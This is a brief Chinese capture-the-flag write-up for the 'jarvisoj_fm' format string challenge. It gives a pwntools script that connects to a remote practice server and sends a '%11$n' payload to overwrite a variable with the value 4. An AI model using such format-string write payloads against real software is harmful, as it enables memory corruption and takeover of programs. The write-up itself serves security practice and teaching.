jarvisoj_fm 1 格式化字符串漏洞

1 from pwn import * 2 p = remote("node3.buuoj.cn",29263) 3 payload = p32(0x0804A02C)+b"%11$n" 4 p.sendline(payload) 5 p.interactive() ~

需要覆盖x的值，将x的值变为4，利用格式化字符串漏洞。